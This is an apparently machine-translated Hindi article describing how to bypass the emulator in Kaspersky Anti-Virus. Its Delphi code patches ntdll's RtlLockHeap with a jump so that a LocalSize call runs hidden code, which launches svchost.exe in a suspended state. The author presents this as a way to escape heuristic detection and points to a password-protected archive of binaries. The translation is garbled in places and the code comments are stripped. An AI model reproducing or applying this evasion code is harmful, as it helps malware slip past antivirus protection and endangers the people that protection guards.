कैसपर्सकी एंटी-वायरस में एमुलेटर कमजोरता

फिलहाल, दुनिया में वायरस की बढ़ती संख्या पैदा हो रही है, जिसकी मात्रा को पकड़ पाना असंभव है। इसलिए, "क्लाउड नेटवर्क" और हेयुरिस्टिक कोड एनालाइज़र की आधुनिक तकनीकों को एंटी-वायरस डेटाबेस में नमूने जोड़ने से पहले पूरी तरह से नए खतरों से सुरक्षा प्रदान करने के लिए डिज़ाइन किया गया है।



यह एक रहस्य नहीं है कि हर प्रणाली में हमेशा छेद की एक जोड़ी होगी जो जल्दी या बाद में बाहर आएगी। कभी-कभी यह प्रोग्रामर त्रुटियों के कारण होता है, कभी-कभी निर्मम तकनीक के विकास के कारण। इस लेख में मैं आपको कैस्परस्की एंटी-वायरस के नवीनतम संस्करणों में एमुलेटर को बायपास करने के तरीकों में से एक दिखाऊंगा।

सिद्धांत

सामान्य रूप से एंटीवायरस में एक एमुलेटर क्या है और इसकी आवश्यकता क्यों है? इसका उत्तर बहुत सरल है - लगभग सभी मैलवेयर एन्क्रिप्टेड और विभिन्न क्रिप्टरों और प्रोटेक्टरों द्वारा पैक किए जाते हैं, डिस्क पर फ़ाइल की जांच करते समय, एमुलेटर अपनी वर्चुअल मशीन पर परीक्षण योग्य निष्पादन योग्य फ़ाइल को "स्पिन" करता है और धीरे-धीरे वांछित कोड में "हो जाता है", जिसका पता लगाना हस्ताक्षर द्वारा या तो पहले से ही हो रहा है। या तो विधर्मी विधि।



मेरे एक कार्यक्रम के विकास के दौरान, मुझे एक समस्या का सामना करना पड़ा कि कैसपर्सकी एंटी-वायरस ने लगातार मेरे निष्पादक को " HEUR: Trojan.Win32.Generic " के रूप में शाप दिया, हालांकि मुझे इसमें कुछ भी दुर्भावनापूर्ण नहीं दिखाई दिया। अपवादों की विधि से, यह पता चला था कि एंटीवायरस CreateProcess (...) फ़ंक्शन द्वारा एक प्रक्रिया के निर्माण पर शपथ लेता है यदि प्रक्रिया का छिपा हुआ ध्वज उसके मापदंडों में सेट किया गया है। इससे कहीं जाना नहीं था, इसलिए मुझे कोड निष्पादित करने के लिए विभिन्न विकल्पों के माध्यम से सॉर्ट करना पड़ा, खासकर जब से मैं खुद रुचि रखता था। परिणाम आने में लंबा नहीं था - दो घंटे में एमुलेटर का मुकाबला करने के तीन तरीके पाए गए, आइए देखें, मेरी राय में, उनमें से सबसे दिलचस्प है, जो एपि कार्यों की जांच करने की भेद्यता है।



एमुलेटर केवल विन एपी कॉल की जांच करता है जो कि परीक्षण किया गया आवेदन करता है, लेकिन क्या यह सत्यापित किए गए अन्य एपि का विश्लेषण करता है, जैसा कि यह निकला, नहीं। चाहे यह अनुकूलन करने के लिए किया गया हो या चाहे डेवलपर्स की एक सरल निगरानी - कोई भी नहीं जानता होगा।



स्पष्टता के लिए, मैं एक छोटा सा आरेख देता हूं: बाईं ओर एक वास्तविक वातावरण में कार्यक्रम का निष्पादन है, और दाईं ओर एंटीवायरस एमुलेटर के वातावरण में कोड पर चेक का निष्पादन है।

अभ्यास

एक उदाहरण के रूप में, मैं उस कोड का हिस्सा देता हूं जिसे मेरे कार्यक्रम में पता चला था। जैसा कि पहले उल्लेख किया गया है - कोड कुछ भी गलत नहीं करता है, यह केवल एक बंद राज्य में प्रक्रिया शुरू करता है। डेल्फी में लिखा है।



procedure ProcessBadCode();

var

StartInfo : TStartupInfoA;

ProcInfo : TProcessInformation;

begin

ZeroMemory(@StartInfo, SizeOf(TStartupInfoA));

StartInfo.cb := SizeOf(TStartupInfoA);

CreateProcessA(nil, 'svchost.exe', nil, nil, False, CREATE_SUSPENDED, nil, nil, StartInfo, ProcInfo);

end;



begin

ProcessBadCode();

end.







एमुलेटर की नाक के नीचे अदृश्य कोड निष्पादन के लिए आवश्यक सभी को किसी भी एपी को हुक करना है और निष्पादन को उस कोड को स्थानांतरित करना है जिसे किसी का ध्यान नहीं जाना चाहिए, और फिर दूसरे एप को ढूंढें जो पहले कोड को कॉल करता है और इसे अपने कोड में कॉल करता है। निम्नलिखित उदाहरण में, मैंने निम्नलिखित कार्य किए: " RtlLockHeap (...) " से " ntdll.dll " और " LocalSize (...) " से " kernel32.dll "। जैसा कि कई पहले से ही समझ चुके हैं - दूसरा पहला कारण बनता है। हुक को " RtlLockHeap (...) " पर सेट करने के बाद, कॉल चेन इस प्रकार है:

MyCode (...) -> LocalSize (...) -> RtlLockHeap (...) -> BadCode (...) ।

डिटेक्शन एंटीवायरस अब नहीं होगा।



var

Initialized : Boolean;

procedure ProcessBadCode();

var

StartInfo : TStartupInfoA;

ProcInfo : TProcessInformation;

begin

if not Initialized then // , -

begin

Initialized := True; // ,

ZeroMemory(@StartInfo, SizeOf(TStartupInfoA));

StartInfo.cb := SizeOf(TStartupInfoA);

CreateProcessA(nil, 'svchost.exe', nil, nil, False, CREATE_SUSPENDED, nil, nil, StartInfo, ProcInfo);

Sleep(5000); //

TerminateProcess(ProcInfo.hProcess, 0);

ExitProcess(0); //

end;

Sleep(INFINITE); //

end;



procedure ProcessStartCode();

procedure WriteJmp(AddressFrom, AddressTo : Integer); // jmp

var

Protect, Stuff : Cardinal;

begin

VirtualProtect(Ptr(AddressFrom), 5, PAGE_EXECUTE_READWRITE, Protect);

PByte(AddressFrom)^ := $E9;

PInteger(AddressFrom + 1)^ := AddressTo - AddressFrom - 5;

VirtualProtect(Ptr(AddressFrom), 5, Protect, Stuff);

end;

var

NativeFunc : procedure();

begin

//

@NativeFunc := GetProcAddress(GetModuleHandle('ntdll.dll'), 'RtlLockHeap');

// BadCode

WriteJmp(Integer(@NativeFunc), Integer(@ProcessBadCode));

// , ...

LocalSize(0);

end;



begin

ProcessStartCode();

end.

निष्कर्ष

सुनहरा नियम: "विश्वास - लेकिन सत्यापित करें!" दुर्भाग्य से, हस्ताक्षरित कार्यक्रमों के लिए मौजूदा "विश्वास" नीति पहले ही विफल हो गई है: ये उदाहरण स्टक्सनेट वायरस और एडोब की भेद्यता के हालिया शोषण में लागू किए गए हैं। जैसा कि मेरे छोटे से अनुभव ने दिखाया है, सबसे लोकप्रिय एंटीवायरस में से एक का हेरीस्टिक कोड विश्लेषक समान समस्याओं के अधीन है। यह विशेष रूप से महत्वपूर्ण है कि कैस्पर्सकी हेयुरिस्टिक विश्लेषक उन दो में से एक है जिसने इस फाइल में एक खतरा देखा (जिसके लिए यह एक सम्मान और प्रशंसा है), और चीनी जियांगमिन का पता लगाना एक स्पष्ट गलत सकारात्मक है। यह केवल एक दया है कि सब कुछ इतनी आसानी से तय किया गया था ...



यह सब एक बार फिर निर्विवाद सत्य की पुष्टि करता है कि ऑपरेटर की ओर से सुरक्षा की मूल बातें और खतरों को रोकने के लिए उसकी सक्रिय क्रियाओं को समझे बिना एक भी सॉफ्टवेयर उत्पाद पर्याप्त सुरक्षा प्रदान नहीं करेगा।



इसके अलावा, संकलित निष्पादन योग्य फ़ाइलों और स्रोत कोड का एक सेट , जिसे लेख में चर्चा की गई थी, बाहर रखा गया है। संग्रह के लिए पासवर्ड elcrabe है ।



मैं लेख को तैयार करने में मदद के लिए उपयोगकर्ता gjf का आभार व्यक्त करता हूं।